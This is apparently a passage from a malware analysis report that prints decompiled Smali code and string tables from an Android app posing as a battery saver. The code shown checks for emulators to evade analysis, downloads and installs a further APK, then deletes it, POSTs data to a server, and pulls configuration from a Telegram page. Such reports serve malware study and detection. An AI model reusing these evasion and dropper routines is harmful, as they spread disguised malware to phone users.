          101invoke-virtual {p0, v4}, Lcom/saver/batterymobi/lkj/jgj/ecr;->startActivity(Landroid/content/Intent;)V
          102try_end_87: goto/16 :goto_89
          103catch_88: const/4 v2, 0x0
          104goto_89: if-nez v2, :cond_2
          105iput v3, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->d:I
          106new-instance v2, Landroid/content/Intent;
          107const-class v3, Lcom/saver/batterymobi/lkj/zxs/drg;
          109invoke-direct {v2, p1, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          110const/high16 v3, 0x10000000
          112invoke-virtual {v2, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          113const/high16 v3, 0x800000
          115invoke-virtual {v2, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          116const/high16 v3, 0x40000000 # 2.0f
          118invoke-virtual {v2, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          120invoke-virtual {p0, v2}, Lcom/saver/batterymobi/lkj/jgj/ecr;->startActivity(Landroid/content/Intent;)V
          121goto/16 :goto_2
          122cond_a8: const/16 v0, 0x7d0
          123iput v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->d:I
          124try_start_ac:
          125iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          127invoke-virtual {v0, p1, v3}, Lcom/saver/batterymobi/lkj/a/c;->d(Landroid/content/Context;Ljava/lang/String;)V
          129iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          131iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          133invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          135const-string v1, "statusInstall"
          137const-string v2, "true"
          139invoke-virtual {v0, p1, v1, v2}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          140new-instance v0, Ljava/io/File;
          142invoke-direct {v0, p2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
          144invoke-virtual {v0}, Ljava/io/File;->delete()Z
          145try_end_c7: goto/16 :goto_d1
          146catch_c8:
          147iget-object p2, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          149sget-object v0, Lcom/saver/batterymobi/lkj/jgj/ecr;->c:Ljava/lang/String;
          151const-string v1, "Run Application, Delete File APK"
          153invoke-virtual {p2, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          154goto_d1:
          155iget-object p2, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          157iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          159invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          161const-string v0, "statusInstall"
          163const-string v1, "true"
          165invoke-virtual {p2, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          167iget-object p2, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          169iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          171invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          173const-string v0, "startLoader"
          175const-string v1, "false"
          177invoke-virtual {p2, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          179iget-object p2, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          181iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          183invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          185const-string v0, "urlDownloadApp"
          187const-string v1, ""
          189invoke-virtual {p2, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          191iget-object p2, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          193iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          195invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          197const-string v0, "fileMd5"
          199const-string v1, ""
          201invoke-virtual {p2, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          203iget-object p2, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          205iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          207invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          209const-string v0, "packageApp"
          211const-string v1, ""
          213invoke-virtual {p2, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          215iget-object p2, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          217iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          219invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          221const-string v0, "startLoader"
          223const-string v1, "false"
          225invoke-virtual {p2, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          226return-void
          Cross References
          APIs
          • java.lang.String.equals
          • java.lang.String.contains
          Strings
          • sdk
          • google_sdk
          • sdk_x86
          • vbox86p
          • unknown
          • Genymotion
          • generic
          • generic_x86
          • Android SDK built for x86
          • goldfish
          • vbox86
          • generic/sdk/generic
          • generic_x86/sdk_x86/generic_x86
          • generic/google_sdk/generic
          • generic/vbox86p/vbox86p
          Position Instruction Meta Information
          1sget-object v0, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
          3const-string v1, "sdk"
          5invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          6move-result v0
          7const/4 v1, 0x0
          8const/4 v2, 0x1
          9if-nez v0, :cond_2d
          11sget-object v0, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
          13const-string v3, "google_sdk"
          15invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          16move-result v0
          17if-nez v0, :cond_2d
          19sget-object v0, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
          21const-string v3, "sdk_x86"
          23invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          24move-result v0
          25if-nez v0, :cond_2d
          27sget-object v0, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
          29const-string v3, "vbox86p"
          31invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          32move-result v0
          33if-eqz v0, :cond_2b
          34goto/16 :goto_2d
          35cond_2b: const/4 v0, 0x0
          36goto/16 :goto_2e
          37goto_2d: const/4 v0, 0x1
          38goto_2e:
          39sget-object v3, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
          41const-string v4, "unknown"
          43invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          44move-result v3
          45if-nez v3, :cond_42
          47sget-object v3, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
          49const-string v4, "Genymotion"
          51invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          52move-result v3
          53if-eqz v3, :cond_44
          54cond_42: add-int/lit8 v0, v0, 0x1
          55cond_44:
          56sget-object v3, Landroid/os/Build;->BRAND:Ljava/lang/String;
          58const-string v4, "generic"
          60invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          61move-result v3
          62if-nez v3, :cond_58
          64sget-object v3, Landroid/os/Build;->BRAND:Ljava/lang/String;
          66const-string v4, "generic_x86"
          68invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          69move-result v3
          70if-eqz v3, :cond_5a
          71cond_58: add-int/lit8 v0, v0, 0x1
          72cond_5a:
          73sget-object v3, Landroid/os/Build;->DEVICE:Ljava/lang/String;
          75const-string v4, "generic"
          77invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          78move-result v3
          79if-nez v3, :cond_78
          81sget-object v3, Landroid/os/Build;->DEVICE:Ljava/lang/String;
          83const-string v4, "generic_x86"
          85invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          86move-result v3
          87if-nez v3, :cond_78
          89sget-object v3, Landroid/os/Build;->DEVICE:Ljava/lang/String;
          91const-string v4, "vbox86p"
          93invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          94move-result v3
          95if-eqz v3, :cond_7a
          96cond_78: add-int/lit8 v0, v0, 0x1
          97cond_7a:
          98sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;
          100const-string v4, "sdk"
          102invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          103move-result v3
          104if-nez v3, :cond_98
          106sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;
          108const-string v4, "google_sdk"
          110invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          111move-result v3
          112if-nez v3, :cond_98
          114sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;
          116const-string v4, "Android SDK built for x86"
          118invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          119move-result v3
          120if-eqz v3, :cond_9a
          121cond_98: add-int/lit8 v0, v0, 0x1
          122cond_9a:
          123sget-object v3, Landroid/os/Build;->HARDWARE:Ljava/lang/String;
          125const-string v4, "goldfish"
          127invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          128move-result v3
          129if-nez v3, :cond_ae
          131sget-object v3, Landroid/os/Build;->HARDWARE:Ljava/lang/String;
          133const-string v4, "vbox86"
          135invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          136move-result v3
          137if-eqz v3, :cond_b0
          138cond_ae: add-int/lit8 v0, v0, 0x1
          139cond_b0:
          140sget-object v3, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
          142const-string v4, "generic/sdk/generic"
          144invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          145move-result v3
          146if-nez v3, :cond_d8
          148sget-object v3, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
          150const-string v4, "generic_x86/sdk_x86/generic_x86"
          152invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          153move-result v3
          154if-nez v3, :cond_d8
          156sget-object v3, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
          158const-string v4, "generic/google_sdk/generic"
          160invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          161move-result v3
          162if-nez v3, :cond_d8
          164sget-object v3, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
          166const-string v4, "generic/vbox86p/vbox86p"
          168invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          169move-result v3
          170if-eqz v3, :cond_da
          171cond_d8: add-int/lit8 v0, v0, 0x1
          172cond_da: const/4 v3, 0x4
          173if-le v0, v3, :cond_de
          174const/4 v1, 0x1
          175cond_de: return v1
          Cross References
          APIs
          • java.lang.StringBuilder.<init>
          • android.os.Environment.getExternalStorageDirectory
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.io.File.<init>
          • java.io.File.exists
          • java.io.File.mkdirs
          • java.net.URL.<init>
          • java.net.URL.openConnection
          • java.net.HttpURLConnection.getInputStream
          • java.io.BufferedInputStream.<init>
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.io.FileOutputStream.<init>
          • java.lang.Integer.valueOf
          • java.io.InputStream.read
          • java.lang.Integer.valueOf
          • java.lang.Integer.intValue
          • java.io.FileOutputStream.write
          • java.io.FileOutputStream.flush
          • java.io.FileOutputStream.close
          • java.io.InputStream.close
          • java.io.IOException.printStackTrace
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          Strings
          • /
          Position Instruction Meta Information
          0new-instance v0, Ljava/lang/StringBuilder;
          2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
          4invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
          5move-result-object v1
          7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
          9const-string v1, "/"
          11invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          13invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          14move-result-object v0
          15try_start_15: new-instance v1, Ljava/io/File;
          17invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
          19invoke-virtual {v1}, Ljava/io/File;->exists()Z
          20move-result v2
          21if-nez v2, :cond_23
          23invoke-virtual {v1}, Ljava/io/File;->mkdirs()Z
          24try_end_23: new-instance v1, Ljava/net/URL;
          26invoke-direct {v1, p1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
          28invoke-virtual {v1}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
          29move-result-object p1
          30check-cast p1, Ljava/net/HttpURLConnection;
          31try_end_2e: if-eqz p1, :cond_7f
          32try_start_30:
          33invoke-virtual {p1}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
          34move-result-object p1
          35new-instance v1, Ljava/io/BufferedInputStream;
          37invoke-direct {v1, p1}, Ljava/io/BufferedInputStream;-><init>(Ljava/io/InputStream;)V
          38new-instance p1, Ljava/io/FileOutputStream;
          39new-instance v2, Ljava/lang/StringBuilder;
          41invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
          43invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          45const-string v3, ""
          47invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          49invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          51invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          52move-result-object v2
          54invoke-direct {p1, v2}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;)V
          55const/16 v2, 0x1000
          56new-array v2, v2, [B
          57const/4 v3, -0x1
          59invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
          60goto_5a:
          61invoke-virtual {v1, v2}, Ljava/io/InputStream;->read([B)I
          62move-result v4
          64invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
          65move-result-object v4
          67invoke-virtual {v4}, Ljava/lang/Integer;->intValue()I
          68move-result v5
          69if-eq v5, v3, :cond_71
          70const/4 v5, 0x0
          72invoke-virtual {v4}, Ljava/lang/Integer;->intValue()I
          73move-result v4
          75invoke-virtual {p1, v2, v5, v4}, Ljava/io/FileOutputStream;->write([BII)V
          76goto/16 :goto_5a
          77cond_71:
          78invoke-virtual {p1}, Ljava/io/FileOutputStream;->flush()V
          80invoke-virtual {p1}, Ljava/io/FileOutputStream;->close()V
          82invoke-virtual {v1}, Ljava/io/InputStream;->close()V
          83try_end_7a: goto/16 :goto_7f
          84catch_7b: move-exception p1
          85try_start_7c:
          86invoke-virtual {p1}, Ljava/io/IOException;->printStackTrace()V
          87goto_7f: new-instance p1, Ljava/lang/StringBuilder;
          89invoke-direct {p1}, Ljava/lang/StringBuilder;-><init>()V
          91invoke-virtual {p1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          93const-string v0, ""
          95invoke-virtual {p1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          97invoke-virtual {p1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          99invoke-virtual {p1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          100move-result-object p1
          101return-object p1
          102catch_94:
          103const-string p1, ""
          104try_end_96: return-object p1
          105catch_97:
          106const-string p1, ""
          107return-object p1
          Cross References
          APIs
          • java.net.URL.<init>
          • java.net.URL.openConnection
          • java.net.HttpURLConnection.setRequestMethod
          • java.net.HttpURLConnection.setDoOutput
          • java.net.HttpURLConnection.setDoInput
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.String.getBytes
          • java.lang.Integer.toString
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.net.HttpURLConnection.setRequestProperty
          • java.net.HttpURLConnection.getOutputStream
          • java.lang.String.getBytes
          • java.io.OutputStream.write
          • java.lang.String.length
          • java.net.HttpURLConnection.connect
          • java.net.HttpURLConnection.getResponseCode
          • java.io.ByteArrayOutputStream.<init>
          • java.net.HttpURLConnection.getInputStream
          • java.io.InputStream.read
          • java.io.ByteArrayOutputStream.write
          • java.io.ByteArrayOutputStream.toByteArray
          • java.lang.String.<init>
          • java.lang.Exception.printStackTrace
          Strings
          • POST
          • Content-Length
          • UTF-8
          Position Instruction Meta Information
          0const/4 v0, 0x0
          1try_start_1: aget-object v1, p1, v0
          2const/4 v2, 0x1
          3aget-object p1, p1, v2
          4try_start_6: new-instance v3, Ljava/net/URL;
          6invoke-direct {v3, v1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
          8invoke-virtual {v3}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
          9move-result-object v1
          10check-cast v1, Ljava/net/HttpURLConnection;
          12const-string v3, "POST"
          14invoke-virtual {v1, v3}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
          16invoke-virtual {v1, v2}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
          18invoke-virtual {v1, v2}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
          20const-string v2, "Content-Length"
          21new-instance v3, Ljava/lang/StringBuilder;
          23invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
          25const-string v4, ""
          27invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          29invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
          30move-result-object v4
          31array-length v4, v4
          33invoke-static {v4}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
          34move-result-object v4
          36invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          38invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          39move-result-object v3
          41invoke-virtual {v1, v2, v3}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
          43invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
          44move-result-object v2
          46const-string v3, "UTF-8"
          48invoke-virtual {p1, v3}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
          49move-result-object v3
          51invoke-virtual {v2, v3}, Ljava/io/OutputStream;->write([B)V
          53invoke-virtual {p1}, Ljava/lang/String;->length()I
          54move-result p1
          56invoke-virtual {v1}, Ljava/net/HttpURLConnection;->connect()V
          58invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getResponseCode()I
          59move-result v2
          60new-instance v3, Ljava/io/ByteArrayOutputStream;
          62invoke-direct {v3}, Ljava/io/ByteArrayOutputStream;-><init>()V
          63const/16 v4, 0xc8
          64if-ne v2, v4, :cond_81
          66invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
          67move-result-object v1
          68add-int/lit16 p1, p1, 0xbb8
          69new-array p1, p1, [B
          70goto_64:
          71invoke-virtual {v1, p1}, Ljava/io/InputStream;->read([B)I
          72move-result v2
          73const/4 v4, -0x1
          74if-eq v2, v4, :cond_6f
          76invoke-virtual {v3, p1, v0, v2}, Ljava/io/ByteArrayOutputStream;->write([BII)V
          77goto/16 :goto_64
          78cond_6f:
          79invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
          80move-result-object p1
          81new-instance v0, Ljava/lang/String;
          83const-string v1, "UTF-8"
          85invoke-direct {v0, p1, v1}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
          86iput-object v0, p0, Lcom/saver/batterymobi/lkj/a/a$a;->a:Ljava/lang/String;
          87try_end_7c: goto/16 :goto_81
          88catch_7d: move-exception p1
          90invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
          91catch_81:
          92iget-object p1, p0, Lcom/saver/batterymobi/lkj/a/a$a;->a:Ljava/lang/String;
          93return-object p1
          Cross References
          APIs
          • java.lang.Object.getClass
          • java.net.URL.<init>
          • java.net.URL.openConnection
          • java.net.HttpURLConnection.setRequestMethod
          • java.net.HttpURLConnection.connect
          • java.net.HttpURLConnection.getInputStream
          • java.lang.StringBuffer.<init>
          • java.io.InputStreamReader.<init>
          • java.io.BufferedReader.<init>
          • java.io.BufferedReader.readLine
          • java.lang.StringBuffer.append
          • java.lang.StringBuffer.toString
          • java.io.PrintStream.println
          • java.lang.StringBuffer.toString
          • java.lang.String.replace
          • java.lang.Exception.printStackTrace
          Strings
          • https://t.me/battsr
          • GET
          • \u82cf\u5c14\u7684\u5f00\u59cb
          • \u82cf\u5c14\u82cf\u5c14\u5b8c
          Position Instruction Meta Information
          0try_start_0: new-instance p1, Ljava/net/URL;
          2iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c$a;->d:Lcom/saver/batterymobi/lkj/a/c;
          4iget-object v0, v0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          6invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          8const-string v0, "https://t.me/battsr"
          10invoke-direct {p1, v0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
          12invoke-virtual {p1}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
          13move-result-object p1
          14check-cast p1, Ljava/net/HttpURLConnection;
          15iput-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->a:Ljava/net/HttpURLConnection;
          17iget-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->a:Ljava/net/HttpURLConnection;
          19const-string v0, "GET"
          21invoke-virtual {p1, v0}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
          23iget-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->a:Ljava/net/HttpURLConnection;
          25invoke-virtual {p1}, Ljava/net/HttpURLConnection;->connect()V
          27iget-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->a:Ljava/net/HttpURLConnection;
          29invoke-virtual {p1}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
          30move-result-object p1
          31new-instance v0, Ljava/lang/StringBuffer;
          33invoke-direct {v0}, Ljava/lang/StringBuffer;-><init>()V
          34new-instance v1, Ljava/io/BufferedReader;
          35new-instance v2, Ljava/io/InputStreamReader;
          37invoke-direct {v2, p1}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
          39invoke-direct {v1, v2}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
          40iput-object v1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->b:Ljava/io/BufferedReader;
          41goto_39:
          42iget-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->b:Ljava/io/BufferedReader;
          44invoke-virtual {p1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
          45move-result-object p1
          46if-eqz p1, :cond_45
          48invoke-virtual {v0, p1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
          49goto/16 :goto_39
          50cond_45:
          51sget-object p1, Ljava/lang/System;->out:Ljava/io/PrintStream;
          53invoke-virtual {v0}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
          54move-result-object v1
          56invoke-virtual {p1, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
          58invoke-virtual {v0}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
          59move-result-object p1
          61const-string v0, " "
          63const-string v1, ""
          65invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
          66move-result-object p1
          67iput-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->c:Ljava/lang/String;
          69iget-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->d:Lcom/saver/batterymobi/lkj/a/c;
          71iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c$a;->c:Ljava/lang/String;
          73const-string v1, "\u82cf\u5c14\u7684\u5f00\u59cb"
          75const-string v2, "\u82cf\u5c14\u82cf\u5c14\u5b8c"
          77invoke-virtual {p1, v0, v1, v2}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
          78move-result-object p1
          79iput-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->c:Ljava/lang/String;
          80const/4 p1, 0x0
          81goto_6b:
          82iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c$a;->d:Lcom/saver/batterymobi/lkj/a/c;
          84iget-object v0, v0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          86sget-object v0, Lcom/saver/batterymobi/lkj/a;->v:[Ljava/lang/String;
          87array-length v0, v0
          88if-ge p1, v0, :cond_8f
          90iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c$a;->c:Ljava/lang/String;
          92iget-object v1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->d:Lcom/saver/batterymobi/lkj/a/c;
          94iget-object v1, v1, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          96sget-object v1, Lcom/saver/batterymobi/lkj/a;->w:[Ljava/lang/String;
          97aget-object v1, v1, p1
          99iget-object v2, p0, Lcom/saver/batterymobi/lkj/a/c$a;->d:Lcom/saver/batterymobi/lkj/a/c;
          101iget-object v2, v2, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          103sget-object v2, Lcom/saver/batterymobi/lkj/a;->v:[Ljava/lang/String;
          104aget-object v2, v2, p1
          106invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
          107move-result-object v0
          108iput-object v0, p0, Lcom/saver/batterymobi/lkj/a/c$a;->c:Ljava/lang/String;
          109add-int/lit8 p1, p1, 0x1
          110goto/16 :goto_6b
          111cond_8f:
          112iget-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->d:Lcom/saver/batterymobi/lkj/a/c;
          114iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c$a;->c:Ljava/lang/String;
          116invoke-virtual {p1, v0}, Lcom/saver/batterymobi/lkj/a/c;->d(Ljava/lang/String;)Ljava/lang/String;
          117move-result-object p1
          118iput-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->c:Ljava/lang/String;
          119try_end_99: goto/16 :goto_9e
          120catch_9a: move-exception p1
          122invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
          123goto_9e:
          124iget-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->c:Ljava/lang/String;
          125return-object p1
          Cross References
          APIs
          • java.lang.String.startsWith
          • java.lang.String.contains
          • java.lang.String.startsWith
          • java.lang.String.equals
          Strings
          • generic
          • unknown
          • google_sdk
          • Emulator
          • Android SDK built for x86
          • Genymotion
          Position Instruction Meta Information
          1sget-object v0, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
          3const-string v1, "generic"
          5invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
          6move-result v0
          7if-nez v0, :cond_5d
          9sget-object v0, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
          11const-string v1, "unknown"
          13invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
          14move-result v0
          15if-nez v0, :cond_5d
          17sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String;
          19const-string v1, "google_sdk"
          21invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          22move-result v0
          23if-nez v0, :cond_5d
          25sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String;
          27const-string v1, "Emulator"
          29invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
